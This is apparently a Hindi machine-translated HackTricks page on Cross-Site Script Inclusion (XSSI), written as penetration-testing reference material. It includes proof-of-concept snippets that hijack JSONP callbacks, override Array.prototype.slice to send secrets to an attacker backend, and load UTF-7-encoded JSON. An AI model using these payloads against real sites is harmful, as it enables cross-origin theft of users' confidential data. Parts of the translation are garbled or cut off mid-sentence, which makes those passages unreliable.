XSSI (Cross-Site Script Inclusion)

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

मूल जानकारी

क्रॉस-साइट स्क्रिप्ट समावेशन (XSSI) एक सुरक्षा रिस्क है जो HTML में script टैग की प्रकृति से उत्पन्न होता है। ज्यादातर संसाधनों की तरह, जो सेम-ऑरिजिन नीति (SOP) के अधीन होते हैं, स्क्रिप्ट को विभिन्न डोमेन से समाहित किया जा सकता है। यह व्यवहार पुस्तकालयों और अन्य संसाधनों का उपयोग सुविधाजनक बनाने के लिए है, लेकिन यह एक संभावित सुरक्षा जोखिम भी लाता है।

XSSI की मुख्य विशेषताएँ:

  • SOP का उल्लंघन: स्क्रिप्ट **सेम-ऑरिज

<script src="https://www.vulnerable-domain.tld/script.js"></script>
<script> alert(JSON.stringify(confidential_keys[0])); </script>

डायनेमिक-जावास्क्रिप्ट-आधारित-XSSI और प्रमाणीकृत-जावास्क्रिप्ट-XSSI

ये प्रकार के XSSI हमले गुप्त जानकारी को उपयोगकर्ता के अनुरोध के प्रतिक्रिया में स्क्रिप्ट में डायनेमिक रूप से जोड़ा जाता है। पहचान करने के लिए कुकी के साथ और बिना कुकी के अनुरोध भेजकर प्रतिक्रियाएँ तुलना की जा सकती है। यदि जानकारी भिन्न है, तो यह गुप्त जानकारी की मौजूदगी का संकेत हो सकता है। इस प्रक्रिया को DetectDynamicJS Burp एक्सटेंशन जैसे उपकरणों का उपयोग करके स्वचालित किया जा सकता है।

यदि गोपनीय डेटा एक ग्लोबल वेरिएबल में संग्रहित है, तो इसे नियमित XSSI में उपयोग किए गए उसी तरीकों से उपयोग किया जा सकता है। हालांकि, यदि गोपनीय डेटा एक JSONP प्रतिक्रिया में शामिल है, तो हमलावर कॉलबैक फ़ंक्शन को हासिल करने के लिए कॉलबैक फ़ंक्शन को हासिल कर सकते हैं। इसे या तो ग्लोबल ऑब्जेक्ट्स को मानिपुलेट करके या एक फ़ंक्शन को सेट करके किया जा सकता है जिसे JSONP प्रतिक्रिया द्वारा क्रियान्वित किया जाए, जैसा नीचे प्रदर्शित किया गया है:

<script>
var angular = function () { return 1; };
angular.callbacks = function () { return 1; };
angular.callbacks._7 = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=angular.callbacks._7" type="text/javascript"></script>
<script>
leak = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>

जो भीर्तिक नेमस्पेस में स्थित नहीं हैं, उनके लिए कभी-कभी प्रोटोटाइप टैम्परिंग का शोध किया जा सकता है। यह तकनीक जावास्क्रिप्ट के डिज़ाइन का लाभ उठाती है, जहां कोड व्याख्या को बाहरी प्रोटोटाइप श्रृंखला को चूमने की आवश्यकता होती है जिससे कॉल की गई संपत्ति को ढूंढा जा सके। कुछ फ़ंक्शन को ओवरराइड करके, जैसे कि Array का slice, हमलावादी गैर-ग्लोबल चरों तक पहुंच सकते हैं और लीक कर सकते हैं:

Array.prototype.slice = function(){
// leaks ["secret1", "secret2", "secret3"]
sendToAttackerBackend(this);
};

Further details on attack vectors can be found in the work of Security Researcher Sebastian Lekies, who maintains a list of vectors.

गैर-स्क्रिप्ट-एक्सएसएसआई

Takeshi Terada के शोध में एक और फॉर्म ऑफ एक्सएसएसआई पेश किया गया है, जहाँ गैर-स्क्रिप्ट फ़ाइलें, जैसे CSV, script टैग में स्रोत के रूप में शामिल होकर क्रॉस-ऑरिजिन में लीक होती हैं। XSSI के ऐतिहासिक उदाहरण, जैसे Jeremiah Grossman का 2006 का हमला जिसमें पूरा Google पता-पुस्तिका पढ़ा गया था और Joe Walker का 2007 का JSON डेटा लीक, इन खतरों की गंभीरता को हाइलाइट करते हैं। इसके अतिरिक्त, Gareth Heyes एक हमला वेरिएंट वर्णित करते हैं जिसमें UTF-7 एन्कोडेड JSON शामिल होता है ताकि JSON प्रारूप से बचने और स्क्रिप्ट्स को निष्पादित करने के लिए कारगर हो, कुछ ब्राउज़र्स में।

[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}]
<script src="http://site.tld/json-utf7.json" type="text/javascript" charset="UTF-7"></script>
जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

दूसरे तरीके HackTricks का समर्थन करने के लिए:

Last updated